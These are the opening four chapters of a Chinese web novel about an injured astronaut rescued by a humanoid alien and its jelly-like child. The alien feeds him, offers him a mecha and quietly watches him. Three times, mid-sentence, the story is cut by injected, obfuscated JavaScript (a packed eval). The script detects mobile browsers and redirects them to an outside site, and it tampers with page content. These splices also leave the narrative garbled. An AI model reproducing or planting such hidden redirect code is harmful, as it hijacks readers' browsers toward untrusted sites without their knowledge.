《虫族之拐个雌虫回地球》 1. 第一章 第一章 钟.尼古拉斯.章觉得这个世界是本小说。 而他是世界之子,所以他十分自作主张、大逆不道、违背祖宗的给自己加了一个非常杰克苏的中间名。 然后喜提一顿竹笋炒肉。 不过,他每次考试都能卡线入围,每次抽奖都能中奖,每次吃饭都能发现桌子上有自己喜欢的饭菜,每次出门都能发现花啊草啊比前一天更美好……总之,人们也很难说,他到底是不是世界的宠儿,宇宙的中心等等。 反正,钟章感觉自己是被世界钟爱的小孩。 现在写遗书时,也是。 不过写的时候,他就暂时不加尼古拉斯这个漫长的中间名了。 怕写不完自己就嘎了。 “妈妈,我从小就觉得自己做什么事情都可以心想事成。所以,我的骨灰也一定可以穿越时间和银河,化为天上的星辰,重新回到你和祖国身边……我可能快要死了,妈妈。” 钟章看了眼胸口。 那里面,剪断的钢索还残留下一小节。钟章没有办法自行将其拔出来,他在第一时间给自己注射镇定剂和生理盐水,用手指和痛觉判断这根钢索扎到哪里。 他继续用手在键盘上一根一根地敲,“所有资料我都保存在TC02盘内,太空摄像机的卡我来不及取下来,只能先云拷贝一份……” 还有什么没有交代的吗?钟章感觉到自己鼻孔里开始冒出热热的血。他没有力气也没有时间去擦掉鼻血,指头继续敲打键盘。 鲜血糊住键帽上的字母。 逐渐,视野出现重影,眼底像是加了层红底滤镜,钟章猜测是什么心肝肺破裂,令他的眼球充血。但无论是什么破裂,他都晓得,自己活不成了。 回到地球的注定是他的尸体。 “再。检查一遍。”钟章瞪大双眼,确认数据、密语和一部分重要的因果关系没写错——他是全球第三批进行地外探索的宇航员,在成为宇航员之前是个土木跨考社会学的双非硕士。 这学历平平无奇,和宇航员看上去也不太搭。 没事,钟章现在想想也觉得很神奇。甚至死到临头,他确定要写的都写完了,还开心地想:那些富豪要把骨灰送到太空,得花费千把万。他不用一分钱,还留在太空载人飞行的历史上。 “不行!”钟章强撑着身体,越想越觉得自己死前要留下点豪言壮志。他挣扎着爬起来,往自己身上翻无线收发器之类的东西。到最后,他都分不清自己扭到哪里,又说了什么,喉咙里血沫一阵一阵涌出来。 钟章昏死过去了。 等他再醒来,全身都被泡在一块椭圆形的等身高胶囊中,沾满血迹的衣物不见踪迹。全身毛发倒是没剔除,不过存在很明显的剪除痕迹。钟章猜测帮他治疗的人应当及其果断。 胸口那根钢筋完全消失了。钟章欣喜地摸着胸前,发觉伤口愈合得很好,只有半个指甲大的淡褐色疤痕。 短暂的欣喜过后,钟章开始质疑自己现在所处的情况。 他真的被“人”救了吗? “啊。喂?喂——”钟章正常地发出音量,活动双手双脚。和科幻作品中略有不同,他的双手双脚都没有被什么线什么锁束缚住,很轻松就抬起手,直接触碰胶囊上那层半透明的磨砂膜。 弹性很大,厚度不大,甚至可以印出指纹。 钟章的直觉相当敏感,他断定这东西不那么容易坏,稍微用力地向前按。 从触觉上判断,它很像华夏农村吃席铺的那层塑料膜。 钟章收回手,不再继续按压,抬头上下观察自己所处的胶囊空间。 “*&%)@%&?”外面传来很长的一段声音。 钟章:…… 丸辣!! 他难道被外星人抓走了?钟章看着这个胶囊空间,很难不把自己比拟为宠物仓鼠。 这个胶囊难道是外星人养宠物的地方? 再观察观察。 那奇怪的声音听上去低低的,听上去,有点像发声器官也不够完整的生物在说话。在钟章沉默不语后,声音又迅速切换击中不同的声线和腔调说了好几句话。 钟章依旧不语。 他意识到,这声音的主人似乎尝试与自己对话。 “啊——”那奇怪的小小声音有些恼怒,嗓子尖尖叫起来。这次稍长一些,钟章也循着声量,判断出“它”到底在哪里。他低头,看向胶囊底座那一块泥巴状生物。 ? 是它在说话? 钟章继续保持沉默,观察那团泥巴状生物:对方在地面平摊着,颜色和质感都有点像地球上的凉粉,随着声音的发出,凉粉身体DuangDuang得上下左右摇晃起来,朝四面八方行动,过一会又缩成圆球,缩成块状。 它发觉钟章没有给自己任何反馈后,在地上蛄蛹几下,发出一阵呜呜的声音,身体四周还挤出一些透明的水渍,令地面迅速积攒起片小水洼。而它又在小水洼里蛄蛹,活像油锅里的小油条。 钟章觉得这东西的关注点似乎不在自己身上。 他还没有理清楚现在是什么情况。前方一道光打开,似是什么门打开,一个人形生物走进来,从地上提着湿哒哒的小家伙,上下左右甩干。小家伙顿时嗷嗷呜呜地大叫,一边叫一边切换各种叽里咕噜的话。 “但是……呜呜呜……你好。”小家伙胡乱不清地说着话,“hello呜呜呜。*&%……#。哇哥哥!哥哥!” 钟章浑身一震! 这是?中文!英文? 钟章自认为是世界之子,在太空失联后重伤,可能遇到什么黑洞什么平行宇宙等等。但这是不是有点太开挂了?难道他遇到了数年后的地球人?还是另外一个科技高速发展的地球人? 总之,钟章离开时的故土不太可能救活他,也不大可能拿出这种科技胶囊产物。 钟章内心还有什么外星人殖民地球、外星人一直在默默观察地球之类的可怕推测。他尚未做好心理准备,那人形生物忽然一挥手,两人中间那层半透明的磨砂膜忽得消失,变成层光可鉴人的透明层。 人形生物直接俯下身,脸贴近透明层观察钟章。 钟章眼睛都不知道往哪里放,脑子倏然出现“好大”两字,抬手扇自己一耳光。 “哇呜~”小家伙呼呼哈气,用中文怪里怪气:“痛痛。” 那人沉默。 随后,他捏一把小家伙,迫使它吐出两颗小圆点,一枚贴在咽喉上,一枚贴在口腔里。钟章想观察他的舌头是人类的形状,还是什么奇怪的形状,那人率先发话:“身体还好吗?” 他居然也会说中文?! 这可给钟章搞蒙了。 他在沉默和回答之间犹豫不决。 那人却没有继续给他犹豫的时间。他指着手上提溜的小东西,道:“有什么事情和他说。我出去一下。” 嘀哩咕噜的凉粉小泥巴就这样留给钟章。 * “泥。你。”凉粉小泥巴先蠕动去追人,发现追不上大长腿后,团成球滚回到钟章面前。 可能是团得太圆了,它没刹好车,“啪叽”贴在透明罩上,半晌居然融进来,又“啪叽”得掉在钟章脚上。 “呜呜呜呜。” 钟章还没反应过来。它先哭起来,一边哭一边和钟章说中文,“你。你好。” 钟章沉默了。 他很难把那个冷酷胸大的“人”与面前的凉粉泥巴联系为一个“种族”。 过去,人类对外星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450549|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种群的构想中,人形或人形的变种占据大部分。但随科幻创作发展蓬勃发展,在钟章这一代,人们反而倾向于“外星生命极少存在人形”。 如果说地球上的人类是一系列自然环境的选择,那到底是什么样的巧合,才会让人类遇到的第一个外星文明就与他们无比相似。 “我。我叫果泥。”凉粉小泥巴磕磕绊绊说道。钟章长时间的沉默,反而让它放松下来,介绍道:“那个是哥哥。”接着,它自顾自说了自己今年三岁大,又冒出几句钟章听不懂的话,途中切换好几个不同的发音。 钟章猜测,这应当是不同的语言。 一个三岁的种族幼崽可以切换不同语言进行对话,就能说明,它生长在一个多语言的环境里。再加上刚刚它与那个人形大生物的互动。它们搞不好已经研发出针对外星生物的“语言翻译器”。 钟章在此基础判断自己的处境:他可能进入一个“星际文明”,但这不一定是某个固定的种群聚集地,而是多个文明互相交流的“平台”。 “你想想。”小果泥在地上趴着,并不能看清楚钟章的表情。它中间冒出一两句乱七八糟的话,断断续续和钟章交流,到后面中文语序也混乱起来,“说你话吗?” 钟章还想多观察一会。 小果泥又哇呜一下乱叫起来。他时不时叫中文的“哥哥”,又时不时叫两个很短促的音节。钟章在心里默默念了几遍。 咕咕——咕咕?库卡? 这是他们语言里“哥哥”的意思吗? “你不会说话。”小果泥生气地叫嚷起来,“救错了!不能给雄性的父亲当礼物。” 他真的很吵,叭叭嘀嘀叫起来,又开始在地上炸油条,把自己在地上搓来搓去,弄得灰扑扑,大哭大叫,“哥哥——库卡——哥哥哥哥哥哥哥。” 钟章从最开始还可以忍耐,到捂住耳朵。 奈何胶囊里就这么点空间,他想躲也躲不开,挪屁股给外星幼崽腾出无理取闹的空间,幼崽还真的瘫成一块大饼,呜呜咽咽地乱叫。 “哥哥。哥哥。”小果泥眼泪都淹掉一整个它了,它让钟章第一次知道凉粉是怎么叫的,“哥哥哥哥哥哥哥哥——哇呜哥哥哥哥。” 门终于打开了。 钟章注视救世主一般注视着面前的来者,依旧是之前那个人形生物:头发很短,宽肩,胸很大。从胸部到肩背处有两道奇怪的纹路。除此之外,看上去和成年人类男性一样,四肢健全,身高约两米。 钟章还没仔细看他胸口的细节,那人从口袋翻出一把抄网,捞金鱼一样把小果泥捞出来。 小果泥还试图踩着网眼爬到“哥哥”手腕上,被“哥哥”无情攥住网兜,可怜地在网兜里抽噎。 “为什么。为不什么不理我。”它真像个受委屈的孩子,朝家长抱怨,“父说过的。哇呜呜呜。为什么不理我嘛。我要找雄性的、父父。” 他哥,那个胸很大的人形生物毫无波澜。 钟章清楚看到那人攥着网兜的手紧了两份,贴合双手的指套都捏出许多褶皱。 “你的伤口都好了。”那人对钟章道:“不会说话。下一站就下去吧。” 钟章眼睛都瞪大了。 他还没有弄清楚现在什么情况,这个外星人就要赶他走?难道未来/外星文明的人均素质这么高吗?救人不求回报?连倒贴的救助费都不要他偿还吗? “你家。”那人语言一顿,“东方红,很远。” 来了!钟章精神抖擞,听到东方红这三个字不正腔不圆的中文,差点就要大呼老乡。 外星人道:“藏好点。” 钟章:? 外星人道:“我们不是好东西。” 钟章:? 等等什么情况? 2. 第二章 第二章 钟章高考前找人算过命。 算命师傅盯着他的手相看了半天,没说他会考得怎么样。反而大谈特谈,他的事业线与姻缘线纠缠很深,未来不能说是大富大贵,但也一定是非比寻常。 “你人生最重要的两个节点,一个在28岁,一个在68岁。你会被同一个人影响。”算命师傅感叹道:“哎呀,这就是命啊。你小子,真的是我见过最奇怪的命。” 彼时的钟章还以为是什么年轻力壮被富婆包养,年老色衰被富婆踹了。他非常没逼数的感叹,对啊,自己长得这样帅,这就是命,这就是命啊。 算命师傅却高深莫测地摇摇头,说,比这个要刺激多了。 高考生钟章想不出来。 他也完全没想到,自己土木跨考社会学,在完全不匹配的情况下,阴差阳错入选太空探索计划。然后飞上外太空,莫名其妙遇到太阳风暴,撞入什么不知名的黑洞啊陨石啊,在28岁迎来一次星际穿越。 前半生已经很刺激了,原来只是开胃小菜吗? 钟章看着身边持续加湿的小果泥,再看看面前一份荤素均匀的餐点,陷入思考。 面前的饭菜看上去非常接近地球人类的餐食。至少,钟章能看到类似白菜的植物和非常像米饭的固态食物。当他凑近观察餐食中那份经过火焰烤制的肉类,能闻到浓郁的甜味。 如果这是外星种群的日常饮食,是否说明他们的肠胃系统和地球人类无限相近?他们的生长环境和地球人类也很像?也有类似“炒煎炸”的烹饪方式?钟章头脑风暴,内心越发偏向这是平行世界或多年之后。 也许,这是另外一支人类族群? “你。”钟章开口说一个字。 小果泥抖一身水,啪啪呼呼炸起来。它现在说话又布灵布灵冒水珠,带着哭腔告状,“哇呜呜!你说话。会。哥哥哥哥哥哥哥哥。他会!他会的。” 水珠都飞溅到钟章脸上了。 “哥哥”又是一套擒拿法,十分轻松把吵吵闹闹的小果泥制裁到餐盘中,端了杯橙黄色的液体哄孩子。 小果泥终于安静下来。 两个不同种群的成年体也开始他们第一次快问快答。 “你们为什么会说中文?”钟章心中有太多问题,删删减减,他选择最有价值的一个,“东方红……” “伊西多尔。”这是个很难听懂的词汇。钟章听了两三次才听明白,这些音符大概指代哪一个音译词。 “名字。”那人介绍道:“我,雄性的父亲,厉害的语言家。他知道你们资料,学会‘东方红语’。” 钟章懂了。 面前的成年生物叫做“伊西多尔”。他会使用语言,是因为他的“雄性的父亲”是一个很厉害的语言学专家,通过一部分不知道哪里来的地球资料,学会了中文。 钟章组织语言,琢磨自己到底要说多少话。 他深知自己如果能提供足够多的语言样本,伊西多尔的父亲迟早可以破译所有中文,改良翻译器,让伊西多尔能与自己、与任何一个使用中文的地球人正常沟通。 问题是,他要这么做吗? 一个科技发达的外星种族在地球所有公民毫无知觉的情况下,掌握了他们中的一种语言。 多可怕啊。 钟章瞄向面前的人形生物,发觉对方也在看着自己,有些不安地别过脸,“我叫钟章。我是个宇航员。” 伊西多尔停顿许久,发出一声鼻音,算是回应。 钟章继续道:“我想知道,你们是从哪里拿到的资料。” 餐盘中的小果泥咕噜咕噜叫起来。 伊西多尔用手摸摸它,它咕噜声浅下来,又开始安安静静喝橙色汁水。 “资料。意外。”伊西多尔一个字一个字往外蹦,语速很慢,眼神总飘向身侧一片空荡,眉头紧蹙。他举起手,模拟流星撞击的样子,“磅——这样。送我家。” 连比带划,七嘴八舌。 钟章知道了。 有人送给伊西多尔的语言学专家父亲一枚“天上掉下来的星星”,请求他破译里面的东西。基于有限的词汇量,钟章判断这个伊西多尔口中的“天上掉下来的星星”,其本意应该是“卫星”。 一枚携带地球文明语言的卫星。 里面应该包含了影像、音频等多种多样资料,多到足以让未曾谋面的外星人破译出简短的中文句式和大量的中文词汇。 “好了。”伊西多尔说得有些累了。 和钟章思考产生的疲倦不同,他的累是单纯说累了,后面多使用一些短语。 他问钟章,“身体有什么不舒服吗?” 桌子上的饭菜都有些凉了。 钟章挺起腰,舀起一块蔬菜送到嘴边,“还好。” 他看上去很关心我的身体。钟章知道自己平日挺自信的,但面对陌生外星人的关心,他第一个想得是自己不会造成地球人基因泄露吧? 万一泄露,他就是重罪!人类的罪人! 钟章含糊地说道:“不用担心,我感觉我已经完全——嘶。” 为什么这么甜?钟章放在嘴里又嚼了两下,眉头紧锁。他能感觉到自己的嗓子眼犯恶心,胃酸不断往上涌,嘴巴里还没有咬碎的蔬菜片。 不行!忍住,这可能是外星种群的第一次试探。 伊西多尔盯着钟章看,打了个响指。 下一秒,钟章脚下冒出两个小凸起。一只大胖灰色圆桶和地鼠一样顶翻钟章的脚,两侧探出两个滑轮,用一双红红的镜头看着钟章,还不忘闪两下灯,露出个黑漆漆的洞。 钟章没忍住,抱着圆桶吐出来了。 他吐半天,吐完眼睁睁看着机器无痕折叠回地面。而地面怎么都找不到一丝一毫缝隙。 钟章开始恨自己硕士没读航空、材料、机械之类的理工专业。 面对如此高科技,他第一反应居然是“这样岂不是不用打美缝了?” 伊西多尔道:“重新做。” “不用了。”钟章哪里好意思。他看着面前这一份料理,吞咽口水,“其实我也不是不能吃。” 伊西多尔不说话。 他静静看着钟章将米饭下方的矿石全部挑出来,并和那块烹饪到软烂的肉艰难抗争。 首先,东方红族没有食用矿石的习惯。伊西多尔内心列了几条注意事项。 其次,他们没有办法接受正常的甜度。牙齿硬度和雄虫很接近。但根据医疗舱数据分析显示,他们没有可替换的牙齿,所以食物要煮得更软一点。 最后…… 看着钟章十分自然地从装饰瓶里抽出两根木棍。伊西多尔眯起眼,决心再试探一二。他重新打了一个响指,没一会,几个方块从地板上凸起,堆在桌子边,依次将准备好的食物运到钟章面前。 每一个盘子都悬空于桌面飘过来,找准自己的位置后,“铛”一声放下。 钟章震惊地看着这一幕,寒毛直竖。 “刀?刀削面?” 地球上难道有球奸?每年固定向外星人报告地球讯息? “我们,也有面。”伊西多尔观察钟章的表情,安排接下来要如何处理这个“东方红族”。 他问道:“你怎么受伤的?” 钟章的肚子看到熟悉的面食就开始不争气。他用两根木棍搅一搅,嘬一嘬,边捞面条,边说道:“不知道。一阵颠簸后就到这了。有辣椒吗?” “什么?” “辣椒。” 伊西多尔看向喝饱水的小果泥。小果泥嘀嘀咕咕用他们的语言说了好多话后,伊西多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450550|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔摇摇头道:“不知道。你‘辣’的话,我们,不吃。” 钟章记下这一点,也不再多问,咚咚吃面条。 他吃得很随意,看上去也毫无防备,中间说得也是什么大葱、蒜瓣,绝口不再提任何语言、科技类问题。伊西多尔对他在食物上的要求极其宽容,两人之间只要能表述清楚,能形容出准确的味道,伊西多尔都能指挥机器找来。 好像这地方有一个取之不尽用之不竭的食材库。 “我可以问问,你为什么要救我吗?” “果泥要救你。”伊西多尔道:“他发现‘东方红族’,想送雄性的父亲……” 钟章很自然接下后半段话,“当做礼物送给他的父亲?” 伊西多尔苦笑起来。这是他第一次在钟章面前露出明确的情绪。他对钟章道:“果泥还是个孩子。对不起。” 外星文明的伦理和地球文明的伦理应当不一样。 钟章暂时不打算触碰这个区域,他本科和硕士都学得很潦草,均属于有点知识但不多。就在他盘算自己要和伊西多尔这位外星朋友再问点什么时,伊西多尔端起小果泥所在的餐盘,起身离开。 “怎么走了?”钟章起身,追着问。 目前聊下来,伊西多尔的逻辑和他们人类很相似。再加上对方救助自己、提供一部分与地球类似的食物。钟章很难不预设两个极端情况: 最好的情况是,伊西多尔所在的种族是个爱好文明、愿意帮扶地球文明融入星际的友好大族。双方最终建立长期友好的星际关系。 最坏的情况是,伊西多尔所在的种族早就暗中观察地球文明,甚至派遣先锋队学习了地球知识,随时准备入侵地球。 针对伊西多尔这个外星个体,钟章倾向于好情况。 他道:“是我说了什么不该说的东西吗?” “不是。”伊西多尔道:“我觉得父亲没错。东方红,很好,好种族。” 他转过身,直视钟章茫然的双眼,“你也好。” ? 什么?钟章脑子嗡嗡响。他觉得电视剧走剧情都不一定有自己这么快,刚刚他还犹豫自己是不是太早缴械投降了,怎么外星朋友比他还早投降? 电视剧不是这样写的啊。科幻小说也不是这样写的啊。他们不应该来一波尔虞我诈吗?不应该来一波情报站吗? 想想对面展现出来的科技力,钟章锤锤脑瓜,重新调整战略。 “是这样的。”钟章长吁短叹,“我们东方红在老家也经常被人欺负。唉。不过遇到了你。伊西多尔,我和你说,你真是我遇到的超级大好人。你在我老家一定非常受欢迎。” 说完,钟章没忍住瞄一眼伊西多尔的胸口,心说罪过罪过,又瞄了一眼。 为了不让自己继续看外星朋友的大胸。钟章狂咽口水,开始发挥自己课堂上说闲话的功力,叭叭个不停,“你那个刀削面,哇塞绝了。我在家自己就绝对做不出来,你是机器做的吗?怎么这么厉害?真是太好吃了。我外出漂泊那么久,就想念这一口。” 他说得太快,小果泥脑袋一点一点,到后面都扯伊西多尔的衣服抗议起来了。 “哥哥。” 伊西多尔揉搓它的果冻脑瓜,看着喋喋不休释放好意的外星朋友,鹦鹉学舌一样附和,“好吃。” “超级好吃,宇宙无敌好吃。”钟章还要夸,“在外面吃到老家的味道,简直是最幸福的事情。” 伊西多尔茫然地看着,宕机一样。 他道:“你也好……很好。”中间似乎有段话糊掉了。钟章也分不清到底是伊西多尔含糊不清说话的原因,还是那个什么翻译器出了问题,他的精神完全被伊西多尔后面的话刺激到直立。 “我送你机甲吧。”伊西多尔道:“保护你。送你。机甲。” 3. 第三章 第三章 送我机甲啊。外星朋友好热情啊。 等等,机甲? 是我想的那个机甲吗!!! 钟章恍恍惚惚跟着伊西多尔坐上一个类似电梯的东西,恍恍惚惚来到一处开阔的停机场,恍恍惚惚看到巨大巍峨的类金属产物。 他浑身打了个哆嗦,完全清醒了。 机甲居然不是翻译错误吗?居然真的是人类文明认知中的机甲吗?钟章眼珠子都快用不过来了。一开始他还能克制地用转眼珠子,后来直接转头乱瞄。 他扭过头,指着远处山一样高大的工业产物问伊西多尔,“这是你们世界的‘机甲’?你要送我这个?” “不是。” 还好,伊西多尔说不是。否则,钟章下一秒就要怀疑地球基因是不是该种族的长生不老药。伊西多尔是来骗取自己的信任,好顺藤摸瓜把整个地球人类文明抄网抓走云云。 下一秒,他跟随伊西多尔的指引看到前方七八个不同高度不同样式的金属造物。 伊西多尔道:“那个安全。你试试。” 他那口气和钟章妈每天早上问老板有什么肉比较好一样。看似是商量,实际上内心早有定数。 钟章既想要上去,又忽得生出一点胆怯。他跟着伊西多尔先转了两圈,把每一款机甲都看几眼,最后挑了款五十七米高类人形机甲,坐升降梯上去。 这时候开机甲闯出去吗?钟章内心生出个荒唐的念头。 很快,他自己先打消这个念头。出去还不知道会遇到什么妖魔鬼怪,伊西多尔好歹是个能说中文、能与自己沟通的“友好”外星人。 凑合凑合先过,走一步算一步呗。 “哎。这里面还挺大的。”钟章爬上来,没一会又遇到新问题。他盯着面前光秃秃的操作台发呆,虽然找到几个可以的线条与点,但他完全不知道那些东西是什么。 钟章又懊悔自己前期观察不够仔细。 他应该想办法同外星朋友要一个什么“语言翻译器”,而不是一直单方面依赖外星朋友的翻译能力。 这么大个的工业造物,钟章可不敢自己动。 他再仔细观察内部构造几回,探出头同伊西多尔大声喊话,“我不会开!伊西多尔,你教教我。” “换一台。”伊西多尔回答他,“我有很多。” 钟章差点动摇军心,怀疑自己被拿去搞基因测试了。 完啦!我要成人类罪人啦! 但随着一架八米高的类人型机甲出现在钟章面前,钟章从身到心都缴械投降,他发誓没有任何地球人可以拒绝这种科幻片里的造物: 机甲通体赤黑,周身在均匀光照下呈现出一层炫彩的光圈。它两侧手臂极长,笔直垂落向地面,背后装载有涡旋状设备,头部状似蚂蚁头部,呈现出工业级的流畅线条与粗暴美感。 无事献殷勤,背后一定有惊天大阴谋。钟章深呼吸,试图用祖宗名言警句告诫自己要理智。 伊西多尔轻轻一挥手。 那庞大的机甲离地悬浮,双臂折叠,双驱收缩,很快形成一个巨型的赤色虫蛹。在钟章不可思议的目光下,那机甲虫蛹从中裂开一条缝隙,伸出一道更小的蛹状空间舱,并贴心附带上行走用的台阶。 钟章的脸扭曲成一团。 钟章啊钟章,贫贱不能移,富贵不可屈!拿出地球人的气节,不要在外星造物面前像个乡巴佬一样。 伊西多尔再次一挥手,蓝色弹窗出现在钟章面前。随着他几个动作,那些扭曲的未知字符被熟悉的中文替代,一层扫描弧线出现。 机械中文死板地说道:“**欢迎光临。东方红钟章**眼睛认可,请进**” 中间很多字翻译不过来,依旧夹杂着钟章不知道的语言。 但无所谓了。 钟章呆愣愣看着超出认知的外星机甲,脖颈一卡一卡转向新认识的外星朋友,嘴唇颤动。 不是?朋友?你们外星人这么好说话吗?你们见面就送这么大的东西吗? 伊西多尔并不理解钟章的困惑。 他发觉钟章没有上去,立刻想到一个可能性,“不喜欢?” 钟章懵懵的。 伊西多尔侧过身,用自己所知道的词汇,指着身后大片大片的机甲们,道:“喜欢就拿。” 钟章:…… 不是。朋友,你们外星人还是对我们地球人有所求的吧。拜托!快说你对我们地球人有所求啊!你怎么这样?怎么完全不按照我们的科幻小说脚本走啊! * 钟章百思不得其解。 他无法理解一个外星人为什么对自己这个素未谋面的地球人这么好。为此,他不惜参考什么时空穿梭,自我说服其实自己与伊西多尔是什么此生挚爱,伊西多尔其实是自己未来的伴侣等等。 ——好扯。 可是,这样才显得目前的事情稍微合理一点,不是吗? “总不能……他是看中我这个人吧?”钟章摸着自己的脸,想到伊西多尔那与地球人极其相似的外貌,还是很难不自恋一下。他喃喃自语道:“我的桃花运在这个时候这么好吗?” 不合理啊。钟章思考再三,还是觉得阴谋论比较顺耳。 毕竟,外星人对我一见钟情什么的,也太扯了。 另一边,外星人序言也百思不得其解。 首先他不理解对方“伊西多尔”“伊西多尔”什么东西?难道他在叫自己?可是自己的名字也不是“伊西多尔”这个发音吧?差得是不是有点远了? 其次,他无法理解那个东方红族那么弱,为什么还不拿机甲护身。 钟章不在的时候,序言就切换回种族通用语,和软趴趴的小果泥闲聊,“你说,他是不是不会开?我要不要教教他?” 小果泥依旧在盘子里趴着。序言戳戳它的凉粉脑壳,小果泥唔唔翻个身,脑袋塞到最底下,浑然成为一块凉粉果冻。 序言也不好强行叫醒它。 “我说的话翻译过去很奇怪吗?”序言回忆起对方一口一个“伊西多尔”,满脸困惑,“真的很奇怪吗?” 小果泥翻一个身,不理睬讨厌的成年体们。 “唉。和你说也确实没用。”序言盘算着,“最近有好几个星盗问我要不要加入他们。你说,我如果把这个东方红族带过去。” 小果泥“嚎”得张大嘴,打出个响亮的喷嚏。 “不可泥!”它这会儿醒了,又开始幼崽胡闹,身体朝着序言那挪动,口不择言地说话,“不可以和,和星盗玩,会变成坏蛋嗒。哥哥不可以坏蛋。” 序言盯着它,良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450551|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,伸出手搓了搓小家伙的脑壳。 “逗你玩的。”他轻声道:“小跟屁虫。” 小果泥腮帮子都圆鼓起来。它的眼睛是两颗豆豆眼,被成年体那番话吓得瞪成汤圆大小,努力向上翻,翻了好一会,困得实在不行又慢慢耷拉下来。 “不可以,找星盗。”小果泥软趴趴地趴在餐盘上,嘀咕着,“雄父会哭哭。哥哥。不坏。” 序言撑着手,静静地看着小果泥。 失去翻译器后,他显得沉默,那种沉默在无人时变得粘稠和窒息。 “储存果泥今天的记忆。”他命令道:“开放语言迭代功能,允许学习……不,还是关掉学习功能。” 一圈银白色的光环从餐盘中升起,自下而上套住小果泥的身体,闪烁三四次后,光环自动涣散,化为无数星点消失在空气中。 偌大的空间,只剩下伊西多尔。 “确保卫星岛含氧量。”他下令道:“参考疗愈舱数据,将空气调整为东方红族适合的比例。” 展开的蓝屏呈现出数个图表,每一张图表都代表一个数值。序言没有多看,继续指挥道:“引导机07。” 地面凸起一个点,数秒内由点成线,再形成一条方形立柱。 序言命令道:“导入部分东方红语,负责客人的日常起居。紧跟我们的外星客人,不要让他走到不该去的地方。每日的报告都要提交上传,影像与音频资料共享到云储备。” 方形立柱引导机07呈45°弯腰,快速缩入地面。 下一秒,一角蓝色显示屏展开。地球人钟章的房间内,方形立柱引导机07已然到位。它贴着墙壁,全身颜色与墙面统一,好像它本来就在这个房间里一样。 “拆机711至827号,反馈客人的航空器问题。”序言坐在椅子上,敲击桌面,又是一面屏幕展开在他面前。不过这一次,屏幕底色为浅白色,所展现的空间也为浅白色。 一片浅白色中间,钟章的载人航空飞船被分成七份,由七个不同的小组协同进行作业。 毫无例外,他们也是方形立柱机械,收缩好各种机械工具后,为序言展示他们的工作成功。 “经检查,其电波传输方式与温格尔阁下所收到的外星文明设备传输方式一致。该方式嵌入‘果泥’基层基因程序中,导致它在当时的情况下触发‘文明搜索’模式。”方形立柱汇报道:“该航空器制造古老,非常符合您曾经收集过的一款启蒙时代航空器。建议收入您的博物馆馆藏,分类至外星文明一栏。” 序言有一个博物馆,里面都是他雄父送给他的机甲、航空器,还有一些他自己制造的小玩意儿。 不过,他很久没去那了。 现在,序言也没心思琢磨博物馆里的东西。 “查看悬赏金。” 所有屏幕自动关闭,序言的脸庞倒映在落地窗上,与璀璨群星重叠,宁静又兴奋。 刷!刷刷刷! 一张两张三四五六张,几乎无法分辨到底有多少张,也无法分辨上面到底写了多少罪名,数不清的金额滚动起来,网罗成张铺天之网。 “又涨了啊。”序言翻动几张,奇怪地沾沾自喜起来,“嗯……价格已经超过我雌父了。” 不愧是我!序言苦中作乐,脸上却一点也笑不出来。 4. 第四章 第四章 身处太空,钟章分辨不出什么白天黑夜。 在地球产载人飞船里,他还有一个机械闹钟可以拿来当时间参考,现在连这个闹钟也无了。钟章也不好意思在别人家里乱溜达,吃完饭就沿路走回自己那个胶囊旁,闲得无聊,他琢磨能不能房间里搜索出什么信息。 这是什么?柜子!开一下。这是什么?地板!敲一下。这是什么?花瓶?看看里面是什么? 钟章翻箱倒柜一会儿,察觉到点微妙的不对劲。他停下动作,原地思考几分钟,明白了:这里的家具他居然能认出来。 “有点太像地球了。”钟章坐在床上喃喃自语。他用手戳戳身上的布料,确认这不是他认知中的任何织物。他的手可以穿过这件布料,就像穿过一层水蒸气,手心手背手指头湿润,那块织物却没有任何损坏。 偏偏,它看上去像一件很宽松的外袍。 “这也太神奇了。”钟章不断用手穿过这件外袍,研究外袍上绣着不同颜色与厚度的花卉。 一研究就是一个晚上。 第二天,钟章黑着眼圈去吃早饭。小果泥看见他满脸睡不醒,呜呜吱吱地乱叫起来,吵得伊西多尔又把他按在餐盘里一键关机。 钟章:“你们在说什么?” 伊西多尔没好意思复述小果泥那些话,他提及钟章的身体状况,一卡一卡地问他有没有感觉到不舒服。 这是钟章第二次被伊西多尔询问身体情况了。 “还好。”钟章琢磨道:“给我治疗的东西很厉害。” 伊西多尔所使用的翻译器还不能翻译复杂词汇。昨天晚上对着花瓶、睡衣和柜子,钟章判断这个文明确实生长在一个类似地球的环境中:他们采取大量类植物图形作为装饰、他们很多纹饰都是某个自然现象或自然生态的简化。 花瓶、睡衣、柜子。 钟章在这三样物件上对比出一个“重叠三角”。 他依旧保持高度疑心病,边探索边简化语言,“今天也有面条吗?” 